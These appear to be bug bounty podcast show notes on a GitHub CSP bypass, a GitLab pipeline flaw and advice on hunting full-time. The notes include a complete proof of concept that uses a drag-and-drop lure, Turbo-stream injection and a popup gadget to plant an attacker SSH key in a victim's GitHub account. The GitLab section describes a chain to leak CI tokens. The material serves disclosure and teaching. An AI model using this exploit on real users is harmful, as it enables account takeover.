[HackerNotes Ep. 69]: Johan Carlsson - 3 Month Check-in on Full-time Bug Bounty.

CSP Bypasses in GitHub, GitLab Pipeline Criticals, Tips for Full-Time Bug Bounty, and a Browser Behavior Gadget with Johan Carls

Hacker TLDR;

  • CSP Bypass in GitHub: Impressive writeup from Johan with some takeaways for looking for CSP bypasses in a hyper-restrictive environment:

    • Hijacking selectors: Often applications will bind functionality to the action of adding elements with specific classes, elements, IDs, or data attributes to the DOM. These can be leveraged as gadgets to build an exploit for your target.

    • Framework: Researching and knowing what your application is written in and the nuances of its framework (like Johan did with the turbo in this instance) can give you more flexibility and allow you to bypass or escape the context you’re currently in.

    • Script gadgets and custom listeners: When working with frameworks sometimes the framework doesn’t offer the full functionality needed, meaning devs spin up something quickly in the background. Custom events and listeners can sometimes be used against the app as a gadget, just like the custom onhashchange event listener in GitHub above.

  • Browser Behaviour Gadget: The onhashchange event can be triggered cross-origin if you know the full path of the target page by using a window.open with the full path set and a modified hash, ie window.open("https://site.com/full/path#wecanchangethis", "targetWindow")

  • GitLab Pipeline Crit: Run Pipelines as an Arbitrary User: Another impressive bug with some tips for finding logic flaws:

    • Reading reports available on the target can help understand the target and find functionality you may not have thought about or found.

    • Using the application to its full extent, testing all functionality, setting up all integrations and walking as a standard user can help you understand the application’s threat model.

    • Logic flaws require a deep understanding of the application but often lead to higher-impact bugs when identified.

    • Pay attention to fallback behaviours. They can often provide additional attack surfaces.

    • Read the documentation!

  • Full-Time Bug Bounty Tips

    • Decrease expenditures for a few months to build a financial buffer.

    • Initially focus on smaller programs with more consistent payouts to help build a financial buffer.

    • Move onto bigger programs with higher payouts.

    • Focus on a structured routine that helps give you a grounding to set you up for hunting.

    • Remind yourself why you’re doing full-time bug bounty over full-time employment.

    • Take the time to celebrate for yourself or with your partner/family when you crush something.

Johans Bugs

CSP Bypass in GitHub

If you’ve ever looked at GitHub’s CSP, it’s as locked down as they come. The script-src specifies a single host, github.githubassets.com:

script-src github.githubassets.com;

And this isn’t a domain where users can control content. Equally, they also have the form-action directive specified which is used to restrict the origins to a form that can be sent to. This directive was specified and locked down meaning form hijacking to leak CSRF tokens wasn’t feasible.

💡 Not all CSP evaluators flag the form-action directive, so keep an eye out for it.

So, when Johan was contacted for a collaboration to escalate an HTML injection to something more impactful you might be wondering how the CSP could be bypassed.

If you’re approaching a target and there’s a strong CSP implemented the go-to route if you can’t get script execution is to submit forms; instead, look for CSRF-esque vectors or autofill password exfiltration.

One of the routes attempted was to form hijack forms on the page. With form hijacking you specify the input elements form action and form, allowing you to change the targets of forms. This can allow you means of stealing CSRF tokens as you can change the action of the associated form.

You can specify these actions outside of the forms as you can target the form anywhere in the document.

This was still fruitless due to the form-action directive mentioned earlier. GitHub also implemented an annoying (for us) security feature: form-scoped CSRF tokens. This means a CSRF token from a specific form could only be used for the form it was returned on.

This is a security feature in Rails that can be enabled: https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf:~:text=3.1.2 Required Security Token

Now, this probably would have deterred most people but it didn’t stop there. When looking for script gadgets on the site, some of the elements were named things like <turbo-frame>

These frames were actually from Rails’s HOTW library which works similarly to HTMX if you listened to last week's episode. The TL;DR here is requests don’t use JSON but instead HTML fragments which get injected directly into the page.

The way this happens in Turbo is via two main components:

  • Turbo-frames act as containers, allowing pre-defined parts of a page to be updated on a request.

  • Turbo-streams which work by altering content on the page via CSS selectors.

Using these features, you can load a more interesting form from any part of Github which will also include a correct CSRF token for the form, and allow you to alter the data within the form to contain attacker-controlled content via the turbo-stream.

The final exploit chain consisted of browsing to an attacker page and performing a drag and drop. When this happens, there’s a small window opening that the victim user can’t see. This window has an opener that is attacker-controlled. This was combined with an odd onhashchange event click gadget in GitHub, allowing a single click to be used to inject the turbo-stream and then submit the form in one via the onhashchange event.

The final POC ended up looking like this:

<center>
<div id="drag" draggable="true">
<img width="180" height="180" src="<https://media.tenor.com/images/8af08a3556c6e66f5ce88539183efd23/tenor.gif>" id="nox">
</div>
<img width="180" height="180" src="<https://i.imgur.com/JCgAjL2.png>" id="home">
<h2 style="color:magenta">Drag the cute cat to his home, then click on Invite</h2>

</center>
<script>

var url = new URL(window.location)
var target = url.searchParams.get("target")

var xss = `<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame>
<form target="my_iframe" method="POST"><a id=bbb><button href="#bbb" id="hack" type="submit" data-disable-with="<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(2)"> <template> <input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack /> </template> </turbo-stream><turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(4)"> <template> <textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea> </template> </turbo-stream><turbo-stream action=replace targets="#settings-frame > form > p"> <template><a id=aaa><button href="#aaa" type=submit>test</button> </template> </turbo-stream><turbo-stream action=replace target=hack> <template><input class=js-sso-modal-complete data-fallback-url="#aaa"></button></template></turbo-stream>" >test</button></a></form><iframe hidden name=my_iframe></iframe>`

var x = document.getElementById("drag");
 
x.addEventListener("dragstart", function(ev){
ev.dataTransfer.setData('text/plain', xss);

// Open up a helper window that will force some redirects
var popup = window.open(`https://joaxcar.com/gitlab/poc2.html?target=${target}`,'','width=,height=,resizable=no');

setTimeout(()=>{
		location=(target)
},500)
		});
</script>

Johan escalated the original bug in the process to remove some user interaction elements, resulting in the above POC. Removing user interaction, or the amount of user interaction required for a bug will increase its severity.

💡 Browser behaviour gadget: The onhashchange event can be triggered cross-origin if you know the full path of the target by using a window.open with the full path and a changed hash.

window.open("https://site.com/full/path#wecanchangethis", "targetWindow")

When looking for some CSP bypasses in a hyper-restrictive environment you want to look at things like:

  • Hijacking selectors: Often applications will bind functionality to the action of adding elements with specific classes, elements, IDs, or data attributes to the DOM. These can be leveraged as gadgets to build an exploit for your target.

  • Framework: Researching and knowing what your application is written in and the nuances of its framework (like Johan did with the Turbo) can give you more flexibility and allow you to bypass or escape the context you’re currently in.

  • Script gadgets and custom listeners: When working with frameworks sometimes the framework doesn’t offer the full functionality needed, meaning devs spin up something quickly in the background. Custom events and listeners can sometimes be used against the app as a gadget, just like the custom onhashchange event listener in GitHub above.

Some research that was mentioned on the pod for cross-window forgery which is in the same vein as this bug: https://www.paulosyibelo.com/2024/02/cross-window-forgery-web-attack-vector.html

If you plan on hacking any Turbo-based targets soon a nice introduction to Turbo can be found here https://turbo.hotwired.dev/handbook/introduction

GitLab Pipeline Crit: Run Pipelines as an Arbitrary User

If you aren’t familiar with the concept of CI/CD (continuous integration, continuous deployment), a CI/CD pipeline is used as a means of automating building, testing and deployment of code that, in this instance, is pushed to a GitLab repo.

Johan hacks a lot on GitLab and saw a bug that was actively being fixed, allowing an attacker to run pipelines as an arbitrary user. The original bug was due to a new feature release which meant a bot user could trigger a security pipeline. Still, if the bot didn’t exist, the pipeline would execute as the user with the latest commit.

Often, fallback behaviours can be exploited as they are sometimes less scrutinized from a security perspective when compared to the main functionality. In this scenario, if the bot was deleted the fallback behaviour was for the user who performed the last commit would be the one who runs the pipeline.

This could be spoofed by an attacker, allowing the attacker to take over or choose the pipeline owner. One piece of functionality Johan noted that the team hadn’t thought about was the fact that pipelines could not only clone private repos but could also trigger additional pipelines in victim-accessible projects.

Using this, it was possible to overwrite pipeline variables. Pipeline variables are sometimes used in pipelines in contexts such as script: "eval $VARIABLE" or script: "curl $URL" - this showed it could be impactful, but not quite rated as critical yet.

At this point, an attacker could:

  • Trigger a pipeline as any user (given an email address)

  • Trigger a new pipeline in projects of the victim.

  • Overwrite pipeline variables in these new pipelines in victim projects.

To escalate this further, Johan found a pipeline template which used a variable to specify a docker image which was also used by GitLab themselves. This could then be abused to upload a malicious docker image to the GitLab registry and specify a pipeline to use the malicious image.

With a malicious image in the pipeline, an attacker essentially achieves RCE and full access to all CI variables. To take this even further, Johah proved that GitLab themselves, in their own project, had a variable set which contained a real access token with full API access which was possible to leak.

An impressive bug with some important takeaways:

Takeaways:

  • Reading reports available on the target can help understand the target and find functionality you may not have thought about or found.

  • Using the application to its full extent, testing all functionality, setting up all integrations and walking as a standard user can help you understand the application’s threat model.

  • Logic flaws require a deep understanding of the application but often lead to higher-impact bugs when identified.

  • Pay attention to fallback behaviours. They can often provide additional attack surfaces.

  • Read the documentation!

Full-time bug bounty

Like a lot of us, Johan worked full time and spent most of his free time hunting in the evenings after work. On a route to go full-time, he’s taking 3 months of unpaid leave to try and jump into Bug Bounty full-time.

To prepare for this, Johan also had safeguards in place for 3 months’ worth of bills to cover salary, bills, and expenses regardless of the outcome of the full-time bounty journey.

Some takeaways from the guys for going full-time and making that transition:

Tips for full-time

  • Decrease expenditures for a few months to build a financial buffer.

  • Focus on smaller programs with more consistent payouts.

  • Move onto bigger programs with higher payouts.

  • Focus on a structured routine that helps give you a grounding to set you up for hunting.

  • Remind yourself why you’re doing full-time bug bounty over full-time employment.

  • Take the time to celebrate for yourself or with your partner/family when you crush something.

Forecasting bounty earnings

  • Forecasts bounty earnings into 3 columns - the minimum amount the bug could pay, what you think the bug will pay, and the maximum amount the bug could pay.

  • Don’t forecast/celebrate until the bug has been confirmed not a dupe or NA.

Some struggles of full-time bug bounty

  • Sometimes a lack of separation between personal time and work time as it all blends into one. Implementing routines or structures around when to can help this.

  • Taking extended time off without working can leave you feeling stressed due to no fresh bugs in the pipeline. Always account for any upcoming leave financially and in your workflow.

If you’d like to read more of Johan’s writeups and keep up to date with his research, you can find him below:

As always, keep hacking!